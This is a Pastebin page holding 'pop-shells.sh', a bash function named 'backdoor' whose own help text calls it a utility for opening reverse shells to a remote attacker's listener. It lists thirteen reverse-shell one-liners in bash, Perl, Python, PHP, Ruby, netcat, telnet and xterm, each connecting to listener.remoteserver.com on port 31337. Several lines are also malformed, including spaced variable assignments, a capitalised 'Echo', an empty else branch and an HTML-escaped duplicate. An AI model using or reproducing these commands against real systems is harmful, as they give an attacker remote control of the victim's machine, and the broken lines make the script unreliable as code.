daily pastebin goal
12%
SHARE
TWEET

pop-shells.sh

osteth Aug 22nd, 2017 91 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ####### Begin backdoors #######
  2.  
  3. backdoor() {
  4. PORT = 31337
  5. ADDR = "listener.remoteserver.com"
  6.  
  7.     if [ "$1" != "" ]; then
  8.         if [ "$PORT" != "" ]; then
  9.             if [ "$ADDR" != "" ]; then
  10.                 if [ "$1" == "--help" ]; then
  11.                     echo "Usage: ufile [OPTIONS] COMMAND [ARGS]..."
  12.                     echo ""
  13.                     echo "This is a command line utility to aid in opening revers shells"
  14.                     echo "to a remote attackers listener server."
  15.                     echo ""
  16.                     echo ""
  17.                     echo "Options:"
  18.                     echo "--help  Show this message and exit."
  19.                     echo ""
  20.                     echo "Commands:"
  21.                     echo "1    Attempts a Bash reverse TCP shell"
  22.                     echo "2    Attempts a Bash reverse shell"
  23.                     echo "3    Attempts a Bash reverse shell"
  24.                     echo "4    Attempts a PEARL reverse shell"
  25.                     echo "5    Attempts a Python reverse shell"
  26.                     echo "6    Attempts a PHP reverse shell"
  27.                     echo "7    Attempts a RUBY reverse shell"
  28.                     echo "8    Attempts a NETCAT reverse shell"
  29.                     echo "9    Attempts a NETCAT reverse shell and attempts tp bypass -e restiction."
  30.                     echo "10   Attempts a TELNET reverse shell"
  31.                     echo "11   Attempts a TELNET reverse shell"
  32.                     echo "12   Attempts a XTERM reverse shell"
  33.                     echo "13   Attempts a BASH reverse shell"
  34.                 elif [ "$1" == "1" ]; then
  35.                     bash -i >& /dev/tcp/$ADDR/$PORT 0>&1
  36.                 elif [ "$1" == "2" ]; then
  37.                     exec 5<>/dev/tcp/$ADDR/$PORT
  38.                 elif [ "$1" == "3" ]; then    
  39.                     0<&196;exec 196<>/dev/tcp/$ADDR/$PORT; sh <&196 >&196 2>&196
  40.                 elif [ "$1" == "4" ]; then  
  41.                     perl -e 'use Socket;$i="$ADDR";$p=$PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
  42.                 elif [ "$1" == "5" ]; then
  43.                     python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("$ADDR",$PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
  44.                 elif [ "$1" == "6" ]; then
  45.                     php -r '$sock=fsockopen("$ADDR",$PORT);exec("/bin/sh -i <&3 >&3 2>&3");'
  46.                 elif [ "$1" == "7" ]; then
  47.                     ruby -rsocket -e'f=TCPSocket.open("$ADDR",$PORT).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
  48.                 elif [ "$1" == "8" ]; then
  49.                     nc -e /bin/sh $ADDR $PORT
  50.                 elif [ "$1" == "9" ]; then
  51.                     rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $ADDR $PORT >/tmp/f
  52.                 elif [ "$1" == "10" ]; then
  53.                     rm -f /tmp/p; mknod /tmp/p p && telnet $ADDR $PORT 0/tmp/p
  54.                 elif [ "$1" == "11" ]; then
  55.                     telnet $ADDR $PORT | /bin/bash | telnet $ADDR $PORT
  56.                 elif [ "$1" == "12" ]; then
  57.                     xterm -display $ADDR:$PORT
  58.                 elif [ "$1" == "13" ]; then
  59.                     bash -i &gt;&amp; /dev/tcp/$ADDR/$PORT 0&gt;&amp;1
  60.                 else
  61.                     echo "Invalid Argument. For more information use backdoor --help"
  62.                 fi
  63.             else
  64.                 Echo "No Listener address was set. set the ADDR variable."
  65.             fi
  66.         else
  67.             echo "No port was set. please set the port address."
  68.         fi
  69.     else
  70.    
  71.     fi
  72. }
  73.  
  74. ####### End backdoors function #######
RAW Paste Data
Top